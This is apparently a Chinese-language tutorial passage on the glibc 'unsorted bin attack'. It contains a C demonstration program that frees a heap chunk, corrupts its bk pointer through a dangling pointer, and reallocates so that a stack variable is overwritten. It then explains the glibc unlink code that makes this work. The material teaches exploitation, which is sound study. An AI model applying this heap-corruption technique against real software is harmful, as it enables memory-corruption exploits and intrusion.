intmain(){ fprintf(stderr, "This file demonstrates unsorted bin attack by write a large " "unsigned long value into stack\n"); fprintf( stderr, "In practice, unsorted bin attack is generally prepared for further " "attacks, such as rewriting the " "global variable global_max_fast in libc for further fastbin attack\n\n");
unsignedlong target_var = 0; fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n"); fprintf(stderr, "%p: %ld\n\n", &target_var, target_var);
unsignedlong *p = malloc(400); fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n", p); fprintf(stderr, "And allocate another normal chunk in order to avoid " "consolidating the top chunk with" "the first one during the free()\n\n"); malloc(500);
free(p); fprintf(stderr, "We free the first chunk now and it will be inserted in the " "unsorted bin with its bk pointer " "point to %p\n", (void *)p[1]);
/*------------VULNERABILITY-----------*/
p[1] = (unsignedlong)(&target_var - 2); fprintf(stderr, "Now emulating a vulnerability that can overwrite the " "victim->bk pointer\n"); fprintf(stderr, "And we write it with the target address-16 (in 32-bits " "machine, it should be target address-8):%p\n\n", (void *)p[1]);
//------------------------------------
malloc(400); fprintf(stderr, "Let's malloc again to get the chunk we just free. During " "this time, target should has already been " "rewrite:\n"); fprintf(stderr, "%p: %p\n", &target_var, (void *)target_var); }
上面的图片是用来解释代码的内容的。
代码的意思大致解释一下: 首先分配一个不属于fast bin范围大小的chunk。使一个指针指向这个地方。然后释放掉这个地方,但是不对该指针清空。 然后利用该指针控制刚释放chunk的bk。使得这个指针指向target_addr-0x10。也就是将这个指针指向我们伪装的chunk。我们target_addr刚好在伪装chunk的fd指针的这个地方。 然后再分配内存 这个时候的target_addr的值就被我们更改掉了,但是这个值不受我们控制,这个值为unsorted bin链表的链表头。 为什么这样就能更改掉我们的fd的值呢。 让我们看一看unsorted bin 分配内存的原理。 在分配内存的时候,将chunk从unsorted bin 移除的时候,会执行如下代码。
1 2 3 4 5
/* remove from unsorted list */ if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks 3"); unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);